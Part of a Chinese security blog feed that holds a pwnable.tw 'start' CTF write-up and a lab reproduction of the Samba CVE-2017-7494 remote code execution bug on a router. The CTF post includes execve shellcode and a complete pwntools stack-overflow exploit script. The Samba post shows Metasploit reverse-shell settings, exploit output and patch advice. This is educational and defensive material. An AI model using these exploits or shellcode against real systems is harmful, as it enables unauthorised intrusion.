<h3 id= "INT-80h-系统调用方法" > <a href= "#INT-80h-系统调用方法" class= "headerlink" title= "INT 80h 系统调用方法" > </a> <strong > INT 80h 系统调用方法</strong> </h3> <p > <strong > 系统调用的过程</strong> 可以总结如下:<br > 1. 执行用户程序(如:fork)<br > 2. 根据glibc中的函数实现, 取得系统调用号并执行int $0x80产生中断。<br > 3. 进行地址空间的转换和堆栈的切换, 执行SAVE_ALL。( 进行内核模式) <br > 4. 进行中断处理,根据系统调用表调用内核函数。<br > 5. 执行内核函数。<br > 6. 执行RESTORE_ALL并返回用户模式<br > Linux 32位的系统调用时通过int 80h来实现的, eax寄存器中为调用的功能号, ebx、ecx、edx、esi等等寄存器则依次为参数。</p>
<p > <a href= "http://syscalls.kernelgrok.com/" target= "_blank" rel= "noopener" > 关于系统调用的功能号</a> : </p>
<figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > #</span> define __NR_exit 1</span> <br > <span class= "line" > <span class= "meta" > #</span> define __NR_fork 2</span> <br > <span class= "line" > <span class= "meta" > #</span> define __NR_read 3</span> <br > <span class= "line" > <span class= "meta" > #</span> define __NR_write 4</span> <br > <span class= "line" > <span class= "meta" > #</span> define __NR_open 5</span> <br > <span class= "line" > <span class= "meta" > #</span> define __NR_close 6</span> <br > <span class= "line" > <span class= "meta" > #</span> define __NR_waitpid 7</span> <br > <span class= "line" > <span class= "meta" > #</span> define __NR_creat 8</span> <br > <span class= "line" > <span class= "meta" > #</span> define __NR_link 9</span> <br > <span class= "line" > <span class= "meta" > #</span> define __NR_unlink 10</span> <br > <span class= "line" > <span class= "meta" > #</span> define __NR_execve 11</span> <br > </pre> </td> </tr> </table> </figure>
<p > <strong > 第一个系统调用:</strong> <br > 将esp开始的14h字节数据写入标准输出( 文件描述符1) , 即输出”Let’ s start the CTF:“</p>
<table >
<thead >
<tr >
<th > name</th>
<th > eax</th>
<th > ebx</th>
<th > ecx</th>
<th > edx</th>
</tr>
</thead>
<tbody >
<tr >
<td > <a href= "http://www.kernel.org/doc/man-pages/online/pages/man2/write.2.html" target= "_blank" rel= "noopener" > sys_write</a> </td>
<td > 0x04</td>
<td > unsigned int fd = 1</td>
<td > const char __user *buf = esp</td>
<td > size_t count =14h</td>
</tr>
<tr >
<td > —</td>
<td > —</td>
<td > —</td>
<td > —</td>
<td > —</td>
</tr>
</tbody>
</table>
<p > <strong > 第二个系统调用:</strong> <br > 从标准输入读取3ch字节到栈空间</p>
<table >
<thead >
<tr >
<th > name</th>
<th > eax</th>
<th > ebx</th>
<th > ecx</th>
<th > edx</th>
</tr>
</thead>
<tbody >
<tr >
<td > <a href= "http://www.kernel.org/doc/man-pages/online/pages/man2/read.2.html" target= "_blank" rel= "noopener" > sys_read</a> </td>
<td > 0x03</td>
<td > unsigned int fd = 1</td>
<td > char __user *buf = esp</td>
<td > size_t count = 3ch</td>
</tr>
<tr >
<td > —</td>
<td > —</td>
<td > —</td>
<td > —</td>
<td > —</td>
</tr>
</tbody>
</table>
<h3 id= "栈变化情况" > <a href= "#栈变化情况" class= "headerlink" title= "栈变化情况" > </a> 栈变化情况</h3> <ol >
<li > 程序执行到0804808F: sys_write</li>
</ol>
<p > 输出14h字节数据: Let’ s start the CTF:</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > +-----------------+ < ----</span> <br > <span class= "line" > | Let’ | | </span> <br > <span class= "line" > +-----------------+ |</span> <br > <span class= "line" > | s st | |</span> <br > <span class= "line" > +-----------------+ |</span> <br > <span class= "line" > | art | 14h</span> <br > <span class= "line" > +-----------------+ |</span> <br > <span class= "line" > | the | |</span> <br > <span class= "line" > +-----------------+ |</span> <br > <span class= "line" > | CTF: | |</span> <br > <span class= "line" > +-----------------+ < -----</span> <br > <span class= "line" > | offset _exit |</span> <br > <span class= "line" > +-----------------+</span> <br > <span class= "line" > | Saved ESP |</span> <br > <span class= "line" > H-> +-----------------+</span> <br > </pre> </td> </tr> </table> </figure>
<ol >
<li > 08048097: sys_read</li>
</ol>
<p > read函数最多可以读取3ch字节, 超出了分配的空间, 可以用来覆盖ret_addr和esp。经调试验证, 20字节后覆盖ret, 24字节后覆盖esp。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > gdb-peda$ pattern search</span> <br > <span class= "line" > Registers contain pattern buffer:</span> <br > <span class= "line" > EIP+0 found at offset: 20</span> <br > <span class= "line" > Registers point to pattern buffer:</span> <br > <span class= "line" > [ECX] --> offset 0 - size ~32</span> <br > <span class= "line" > [ESP] --> offset 24 - size ~8</span> <br > <span class= "line" > Pattern buffer found at:</span> <br > <span class= "line" > 0xffcc2764 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])</span> <br > <span class= "line" > Reference to pattern buffer not found in memory</span> <br > </pre> </td> </tr> </table> </figure>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > +-----------------+ < ----</span> <br > <span class= "line" > | aaaa | | </span> <br > <span class= "line" > +-----------------+ |</span> <br > <span class= "line" > | aaaa | |</span> <br > <span class= "line" > +-----------------+ |</span> <br > <span class= "line" > | aaaa | 14h</span> <br > <span class= "line" > +-----------------+ |</span> <br > <span class= "line" > | aaaa | |</span> <br > <span class= "line" > +-----------------+ |</span> <br > <span class= "line" > | aaaa | |</span> <br > <span class= "line" > +-----------------+ < -----</span> <br > <span class= "line" > | aaaa |</span> <br > <span class= "line" > +-----------------+</span> <br > <span class= "line" > | Saved ESP |</span> <br > <span class= "line" > H-> +-----------------+</span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "0x03-漏洞利用" > <a href= "#0x03-漏洞利用" class= "headerlink" title= "0x03 漏洞利用" > </a> 0x03 漏洞利用</h2> <h3 id= "利用思路" > <a href= "#利用思路" class= "headerlink" title= "利用思路" > </a> 利用思路</h3> <p > 现在EIP已经在我们的掌控之中了, 关键是如何跳转到布置的shell code中。一般来说, 首先会去找JMP ESP指令, 这样就能让shellcode获得执行。但这段汇编代码没有, 可以利用的只有read和write。如果可以write出Saved ESP的地址, 然后覆盖掉offset _exit, 就能成功shell。</p>
<ol >
<li > 泄露Saved ESP</li>
</ol>
<figure class= "highlight python" > <table > <tr > <td class= "code" > <pre > <span class= "line" > start = p.recvuntil(<span class= "string" > ':'</span> ) //等待write执行完毕</span> <br > <span class= "line" > payload = 'a'*0x14 + p32(0x08048087) //发送溢出数据, 覆盖ret为0x08048087-> 输出14h字节</span> <br > <span class= "line" > p.send(payload)</span> <br > <span class= "line" > data = p.recv() //接收输出数据, 其中就有Saved ESP</span> <br > </pre> </td> </tr> </table> </figure>
<p > debug过程: </p>
<figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > [DEBUG] Received 0x14 bytes:</span> <br > <span class= "line" > "Let's start the CTF:"</span> <br > <span class= "line" > [DEBUG] Sent 0x18 bytes:</span> <br > <span class= "line" > 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│</span> <br > <span class= "line" > 00000010 61 61 61 61 87 80 04 08 │aaaa│····││</span> <br > <span class= "line" > 00000018</span> <br > <span class= "line" > [DEBUG] Received 0x14 bytes:</span> <br > <span class= "line" > 00000000 **20 53 81**** ff** 01 00 00 00 58 6d 81 ff 00 00 00 00 │ S··│····│Xm··│····│</span> <br > <span class= "line" > 00000010 60 6d 81 ff │`m··││</span> <br > <span class= "line" > 00000014</span> <br > </pre> </td> </tr> </table> </figure>
<ol start= "2" >
<li > 覆盖RET</li>
</ol>
<p > 此时程序已经泄露出之前的Saved_esp, 栈的情况已经摸清了, 然后程序继续执行read, 注意read完 add esp, 14h后再ret, 因此, ret_addr在esp+14h的地方。</p>
<figure class= "highlight python" > <table > <tr > <td class= "code" > <pre > <span class= "line" > payload = <span class= "string" > 'a'</span> *<span class= "number" > 0x14</span> + p32(saved_esp + <span class= "number" > 20</span> ) + shellcode</span> <br > <span class= "line" > <span class= "keyword" > print</span> p32(saved_esp)</span> <br > <span class= "line" > p.send(payload)</span> <br > </pre> </td> </tr> </table> </figure>
<ol start= "3" >
<li > shellcode</li>
</ol>
<p > shellcode同样可以用系统调用的方式执行execve(“/bin/sh”,NULL,NULL)</p>
<table >
<thead >
<tr >
<th > name</th>
<th > eax</th>
<th > ebx</th>
<th > ecx</th>
<th > edx</th>
<th > esi</th>
</tr>
</thead>
<tbody >
<tr >
<td > <a href= "http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html" target= "_blank" rel= "noopener" > sys_execve</a> </td>
<td > 0x0b</td>
<td > char __user *</td>
<td > char <strong > user *</strong> user *</td>
<td > char <strong > user *</strong> user *</td>
<td > <a href= "http://lxr.free-electrons.com/source/arch/alpha/include/asm/ptrace.h?v=2.6.35#L19" target= "_blank" rel= "noopener" > struct pt_regs</a> </td>
</tr>
<tr >
<td > —</td>
<td > —</td>
<td > —</td>
<td > —</td>
<td > —</td>
<td > —</td>
</tr>
</tbody>
</table>
<p > 其中,该程序是 32 位,所以我们需要使得</p>
<ul >
<li > 系统调用号,即 eax 应该为 0xb</li>
<li > 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。</li>
<li > 第二个参数,即 ecx 应该为 0</li>
<li > 第三个参数,即 edx 应该为 0</li>
</ul>
<figure class= "highlight c" > <table > <tr > <td class= "code" > <pre > <span class= "line" > xor eax,eax <span class= "comment" > //清空eax</span> </span> <br > <span class= "line" > push eax <span class= "comment" > //0入栈, 当作字符/bin/sh结尾</span> </span> <br > <span class= "line" > push '/sh'</span> <br > <span class= "line" > push '/bin' //'/sh'为3字节, 未对齐' -> '/sh\0'或//sh</span> <br > <span class= "line" > mov ebx, esp <span class= "comment" > //指向/bin/sh地址</span> </span> <br > <span class= "line" > xor ecx,ecx</span> <br > <span class= "line" > xor edx,edx</span> <br > <span class= "line" > mov al, <span class= "number" > 0xb</span> <span class= "comment" > //系统调用号</span> </span> <br > <span class= "line" > <span class= "keyword" > int</span> <span class= "number" > 80</span> </span> <br > </pre> </td> </tr> </table> </figure>
<figure class= "highlight" > <table > <tr > <td class= "code" > <pre > <span class= "line" > shellcode=<span class= "string" > '''</span> </span> <br > <span class= "line" > xor eax,eax</span> <br > <span class= "line" > push eax</span> <br > <span class= "line" > push %s</span> <br > <span class= "line" > push %s</span> <br > <span class= "line" > mov ebx, esp</span> <br > <span class= "line" > xor ecx,ecx</span> <br > <span class= "line" > xor edx,edx</span> <br > <span class= "line" > mov al, <span class= "number" > 0xb</span> </span> <br > <span class= "line" > int 0x80''' %(u32('/sh\0'),u32('/bin'))</span> <br > </pre> </td> </tr> </table> </figure>
<p > 使用asm(shellcode)来进行汇编,可以使用context来指定cpu类型以及操作系统, 如context(arch = ‘ amd64’ , os = ‘ linux’ , log_level=”debug”)</p>
<h3 id= "Catch-THE-FLAG" > <a href= "#Catch-THE-FLAG" class= "headerlink" title= "Catch THE FLAG" > </a> Catch THE FLAG</h3> <figure class= "highlight python" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "keyword" > from</span> pwn <span class= "keyword" > import</span> *</span> <br > <span class= "line" > <span class= "keyword" > from</span> binascii <span class= "keyword" > import</span> *</span> <br > <span class= "line" > </span> <br > <span class= "line" > shellcode=<span class= "string" > '''</span> </span> <br > <span class= "line" > <span class= "string" > xor eax,eax</span> </span> <br > <span class= "line" > <span class= "string" > push eax</span> </span> <br > <span class= "line" > <span class= "string" > push %s</span> </span> <br > <span class= "line" > <span class= "string" > push %s</span> </span> <br > <span class= "line" > <span class= "string" > mov ebx, esp</span> </span> <br > <span class= "line" > <span class= "string" > xor ecx,ecx</span> </span> <br > <span class= "line" > <span class= "string" > xor edx,edx</span> </span> <br > <span class= "line" > <span class= "string" > mov al, 0xb</span> </span> <br > <span class= "line" > <span class= "string" > int 0x80'''</span> %(u32(<span class= "string" > '/sh\0'</span> ),u32(<span class= "string" > '/bin'</span> ))</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > dbg</span> <span class= "params" > ()</span> :</span> </span> <br > <span class= "line" > p = process(<span class= "string" > './start'</span> )</span> <br > <span class= "line" > context.terminal = [<span class= "string" > 'gnome-terminal'</span> , <span class= "string" > '-x'</span> , <span class= "string" > 'sh'</span> , <span class= "string" > '-c'</span> ]</span> <br > <span class= "line" > context.log_level = <span class= "string" > 'debug'</span> </span> <br > <span class= "line" > gdb.attach(proc.pidof(p)[<span class= "number" > 0</span> ])</span> <br > <span class= "line" > pause()</span> <br > <span class= "line" > <span class= "keyword" > return</span> p</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > leak_esp</span> <span class= "params" > (p)</span> :</span> </span> <br > <span class= "line" > start = p.recvuntil(<span class= "string" > ':'</span> )</span> <br > <span class= "line" > payload = <span class= "string" > 'a'</span> *<span class= "number" > 0x14</span> + p32(<span class= "number" > 0x08048087</span> )</span> <br > <span class= "line" > p.send(payload)</span> <br > <span class= "line" > saved_esp = p.recv()[:<span class= "number" > 4</span> ]</span> <br > <span class= "line" > <span class= "keyword" > return</span> u32(saved_esp)</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > pwn</span> <span class= "params" > (p,saved_esp)</span> :</span> </span> <br > <span class= "line" > payload = <span class= "string" > 'a'</span> *<span class= "number" > 0x14</span> + p32(saved_esp + <span class= "number" > 20</span> ) + asm(shellcode)</span> <br > <span class= "line" > p.send(payload)</span> <br > <span class= "line" > p.interactive()</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> __name__ == <span class= "string" > '__main__'</span> :</span> <br > <span class= "line" > <span class= "comment" > # p = dbg()</span> </span> <br > <span class= "line" > <span class= "comment" > # p = process("./start")</span> </span> <br > <span class= "line" > p = remote(<span class= "string" > "chall.pwnable.tw"</span> ,<span class= "number" > 10000</span> )</span> <br > <span class= "line" > saved_esp = leak_esp(p)</span> <br > <span class= "line" > <span class= "keyword" > print</span> <span class= "string" > "leak saved_esp: %s"</span> %hex(saved_esp+<span class= "number" > 20</span> )</span> <br > <span class= "line" > pwn(p,saved_esp)</span> <br > </pre> </td> </tr> </table> </figure>
<figure class= "highlight shell" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > $</span> python ./start.py</span> <br > <span class= "line" > [+] Opening connection to chall.pwnable.tw on port 10000: Done</span> <br > <span class= "line" > leak saved_esp: 0xffb43704</span> <br > <span class= "line" > [*] Switching to interactive mode</span> <br > <span class= "line" > <span class= "meta" > $</span> whoami</span> <br > <span class= "line" > start</span> <br > <span class= "line" > <span class= "meta" > $</span> find -name flag</span> <br > <span class= "line" > ./home/start/flag</span> <br > <span class= "line" > <span class= "meta" > $</span> cat ./home/start/flag</span> <br > <span class= "line" > FLAG{ Pwn4bl3_tW_1s_y0ur_st4rt} </span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "REF" > <a href= "#REF" class= "headerlink" title= "REF" > </a> REF</h2> <p > <a href= "https://introspelliam.github.io/2017/08/06/pwn/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/" target= "_blank" rel= "noopener" > Linux 系统调用</a> </p>
<p > <strong > pwntools使用</strong> <br > <a href= "http://brieflyx.me/2015/python-module/pwntools-intro/" target= "_blank" rel= "noopener" > http://brieflyx.me/2015/python-module/pwntools-intro/</a> <br > <a href= "https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/" target= "_blank" rel= "noopener" > https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/</a> <br > <a href= "https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/" target= "_blank" rel= "noopener" > https://tianstcht.github.io/pwntools%E7%9A%84%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/</a> </p>
]]></content>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > Pwn</category>
2021-01-08 08:35:03 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 二进制</tag>
<tag > Linux</tag>
<tag > CTF</tag>
</tags>
</entry>
<entry >
<title > 某厂商路由器与Samba漏洞CVE-2017-7494</title>
<url > /2019/03/25/Samba-CVE/</url>
<content > <![CDATA[<h1 id="漏洞描述"> <a href= "#漏洞描述" class= "headerlink" title= "漏洞描述" > </a> 漏洞描述</h1> <p > Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录, 会导致服务器加载并执行指定的库文件。<br > 具体执行条件如下:</p>
<ol >
<li > <p > 服务器打开了文件/打印机共享端口445, 让其能够在公网上访问</p>
</li>
<li > <p > 共享文件拥有写入权限</p>
</li>
<li > <p > 恶意攻击者需猜解Samba服务端共享目录的物理路径</p>
</li>
</ol>
<h1 id= "Samba介绍" > <a href= "#Samba介绍" class= "headerlink" title= "Samba介绍" > </a> Samba介绍</h1> <p > Samba是在Linux和Unix系统上实现SMB协议的一个免费软件, 由服务器及客户端程序构成。SMB( Server Messages Block, 信息服务块) 是一种在局域网上共享文件和打印机的一种通信协议, 它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。</p>
<p > SMB协议是客户机/服务器型协议, 客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源, 还能与全世界的电脑分享资源。</p>
<p > 某厂商路由器的smbd版本为4.0.21, 该漏洞影响Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本。</p>
<h1 id= "漏洞成因" > <a href= "#漏洞成因" class= "headerlink" title= "漏洞成因" > </a> 漏洞成因</h1> <p > 处于<code > \source3\rpc_server\src_pipe.c的is_known_pipename()</code> 函数未对传进来的管道名<code > pipename</code> 的路径分隔符<code > /</code> 进行识别过滤, 导致可以用绝对路径调用恶意的so文件, 从而远程任意代码执行。<br > 首先看到<code > is_known_pipename()`</code> 函数<br > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-00-46.png" a l t > </p>
<p > 跟进到<code > smb_probe_module()</code> <br > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-59-58.jpg" a l t > </p>
<p > 再跟进到<code > do_smb_load_module()</code> ,发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数<br > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-01-19.jpg" a l t > </p>
<p > 我们可以通过smb服务上传一个恶意的so文件, 随后通过上述过程进行调用, 执行任意代码。</p>
<h1 id= "漏洞复现" > <a href= "#漏洞复现" class= "headerlink" title= "漏洞复现" > </a> 漏洞复现</h1> <h2 id= "某路由器满足条件" > <a href= "#某路由器满足条件" class= "headerlink" title= "某路由器满足条件" > </a> 某路由器满足条件</h2> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > netstat -apnt</span> <br > <span class= "line" > tcp 0 0 192.168.31.1:445 0.0.0.0:* LISTEN 0 572 1917/smbd</span> <br > <span class= "line" > </span> <br > <span class= "line" > nmap 192.168.31.1</span> <br > <span class= "line" > 139/tcp open netbios-ssn</span> <br > <span class= "line" > 445/tcp open microsoft-ds</span> <br > </pre> </td> </tr> </table> </figure>
<p > <strong > <em > 端口已开启</em> </strong> <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > vim /etc/samba/smb.conf</span> <br > <span class= "line" > deadtime = 30</span> <br > <span class= "line" > domain master = yes</span> <br > <span class= "line" > encrypt passwords = true</span> <br > <span class= "line" > enable core files = no</span> <br > <span class= "line" > guest account = nobody</span> <br > <span class= "line" > guest ok = yes</span> <br > <span class= "line" > invalid users =</span> <br > <span class= "line" > local master = yes</span> <br > <span class= "line" > load printers = no</span> <br > <span class= "line" > map to guest = Bad User</span> <br > <span class= "line" > min receivefile size = 16384</span> <br > <span class= "line" > null passwords = yes</span> <br > <span class= "line" > obey pam restrictions = yes</span> <br > <span class= "line" > passdb backend = smbpasswd</span> <br > <span class= "line" > preferred master = yes</span> <br > <span class= "line" > printable = no</span> <br > <span class= "line" > smb encrypt = disabled</span> <br > <span class= "line" > smb passwd file = /etc/samba/smbpasswd</span> <br > <span class= "line" > socket options = SO_SNDBUFFORCE=1048576 SO_RCVBUFFORCE=1048576</span> <br > <span class= "line" > smb2 max trans = 1048576</span> <br > <span class= "line" > smb2 max write = 1048576</span> <br > <span class= "line" > smb2 max read = 1048576</span> <br > <span class= "line" > write cache size = 262144</span> <br > <span class= "line" > syslog = 2</span> <br > <span class= "line" > syslog only = yes</span> <br > <span class= "line" > use sendfile = yes</span> <br > <span class= "line" > writeable = yes</span> <br > <span class= "line" > log level = 1</span> <br > <span class= "line" > unicode = True</span> <br > <span class= "line" > max log size = 500</span> <br > <span class= "line" > log file = /tmp/log/samba.log</span> <br > <span class= "line" > server role = STANDALONE</span> <br > <span class= "line" > </span> <br > <span class= "line" > [homes]</span> <br > <span class= "line" > comment = Home Directories</span> <br > <span class= "line" > browsable = no</span> <br > <span class= "line" > read only = no</span> <br > <span class= "line" > create mode = 0750</span> <br > <span class= "line" > </span> <br > <span class= "line" > [data] ***SMB_SHARE_NAME***</span> <br > <span class= "line" > path = /tmp ***SMB_FOLDER***</span> <br > <span class= "line" > read only = no ***具备可写权限***</span> <br > <span class= "line" > guest ok = yes ***允许匿名***</span> <br > <span class= "line" > create mask = 0777</span> <br > <span class= "line" > directory mask = 0777</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <strong > <em > 具有可写权限、目录为/tmp</em> </strong> </p>
<h2 id= "攻击: 使用metasploit" > <a href= "#攻击: 使用metasploit" class= "headerlink" title= "攻击: 使用metasploit" > </a> 攻击: 使用metasploit</h2> <h3 id= "设置攻击参数" > <a href= "#设置攻击参数" class= "headerlink" title= "设置攻击参数" > </a> 设置攻击参数</h3> <p > 靶机是某厂商路由器, 它的系统为mips架构, 但是这个库好像对它的支持不是很好<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > show options</span> <br > <span class= "line" > </span> <br > <span class= "line" > Module options (exploit/linux/samba/is_known_pipename):</span> <br > <span class= "line" > </span> <br > <span class= "line" > Name Current Setting Required Description</span> <br > <span class= "line" > ---- --------------- -------- -----------</span> <br > <span class= "line" > RHOSTS 192.168.31.1 yes The target address range or CIDR identifier</span> <br > <span class= "line" > RPORT 445 yes The SMB service port (TCP)</span> <br > <span class= "line" > SMB_FOLDER no The directory to use within the writeable SMB share</span> <br > <span class= "line" > SMB_SHARE_NAME no The name of the SMB share containing a writeable directory</span> <br > <span class= "line" > </span> <br > <span class= "line" > </span> <br > <span class= "line" > Payload options (generic/shell_reverse_tcp):</span> <br > <span class= "line" > </span> <br > <span class= "line" > Name Current Setting Required Description</span> <br > <span class= "line" > ---- --------------- -------- -----------</span> <br > <span class= "line" > LHOST 192.168.216.129 yes The listen address (an interface may be specified)</span> <br > <span class= "line" > LPORT 4444 yes The listen port</span> <br > <span class= "line" > </span> <br > <span class= "line" > </span> <br > <span class= "line" > Exploit target:</span> <br > <span class= "line" > </span> <br > <span class= "line" > Id Name</span> <br > <span class= "line" > -- ----</span> <br > <span class= "line" > 7 Linux MIPSLE</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h3 id= "执行攻击" > <a href= "#执行攻击" class= "headerlink" title= "执行攻击" > </a> 执行攻击</h3> <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > exploit</span> <br > <span class= "line" > </span> <br > <span class= "line" > [*] Started reverse TCP handler on 192.168.216.129:4444</span> <br > <span class= "line" > [*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path</span> <br > <span class= "line" > [*] 192.168.31.1:445 - Retrieving the remote path of the share ' data' </span> <br > <span class= "line" > [*] 192.168.31.1:445 - Share ' data' has server-side path ' /tmp</span> <br > <span class= "line" > [*] 192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so</span> <br > <span class= "line" > [*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so...</span> <br > <span class= "line" > [-] 192.168.31.1:445 - > > Failed to load STATUS_OBJECT_NAME_NOT_FOUND</span> <br > <span class= "line" > [*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so...</span> <br > <span class= "line" > [-] 192.168.31.1:445 - > > Failed to load STATUS_OBJECT_NAME_NOT_FOUND</span> <br > <span class= "line" > [*] Exploit completed, but no session was created.</span> <br > </pre> </td> </tr> </table> </figure>
<p > 虽然报错,但是查看共享文件夹/tmp却发现了生成了.so文件<br > 知乎这篇<a href= "https://zhuanlan.zhihu.com/p/27129229" target= "_blank" rel= "noopener" > 专栏</a> 也有相同问题</p>
<h1 id= "修补方案" > <a href= "#修补方案" class= "headerlink" title= "修补方案" > </a> 修补方案</h1> <p > 最安全的方法还是打补丁或者升级到Samba 4.6.4/4.5.10/4.4.14任意版本,可以参考 <a href= "https://www.samba.org/samba/history/security.html" target= "_blank" rel= "noopener" > https://www.samba.org/samba/history/security.html</a> </p>
<p > 如果暂时不能升级版本或安装补丁,可以使用临时解决方案:<br > 在smb.conf的[global]板块中添加参数: nt pipe support = no<br > 然后重启smbd服务。</p>
<h1 id= "分析POC, 查找原因" > <a href= "#分析POC, 查找原因" class= "headerlink" title= "分析POC, 查找原因" > </a> 分析POC, 查找原因</h1> <p > (来自<a href= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/" target= "_blank" rel= "noopener" > Wz’ blog</a> )</p>
<h2 id= "建立SMB连接。若需要账号密码登录, 则必须登录后才能继续" > <a href= "#建立SMB连接。若需要账号密码登录, 则必须登录后才能继续" class= "headerlink" title= "建立SMB连接。若需要账号密码登录, 则必须登录后才能继续" > </a> 建立SMB连接。若需要账号密码登录, 则必须登录后才能继续</h2> <p > 从微软上扒的SMB协议建立时序图: <br > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-09-40.png" a l t > </p>
<p > 对应POC:</p>
<p > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/23-15-57.png" a l t > </p>
<h2 id= "利用NetShareEnumAll遍历目标服务器的共享名-ShareName-以及获取对应的共享文件夹下的可写路径-Path" > <a href= "#利用NetShareEnumAll遍历目标服务器的共享名-ShareName-以及获取对应的共享文件夹下的可写路径-Path" class= "headerlink" title= "利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)" > </a> 利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)</h2> <p > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-38-48.jpg" a l t > </p>
<p > 其中find_writeable_path()函数需要跟进看一下:<br > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-14-43.jpg" a l t > </p>
<p > 再跟进看enumerate_directories()以及verify_writeable_directory函数<br > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-48-27.jpg" a l t > <br > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-18-44.jpg" a l t > </p>
<p > 可以看到代码逻辑很清楚, 首先遍历出当前路径所有的文件夹, 然后尝试往里面写一个随机的txt文件用作可写测试, 随后删除掉txt文件, 记录下可写的文件路径。<br > 至此,我们得到了一个共享名(即本例中的data)以及其当前路径下的可写目录(/tmp)</p>
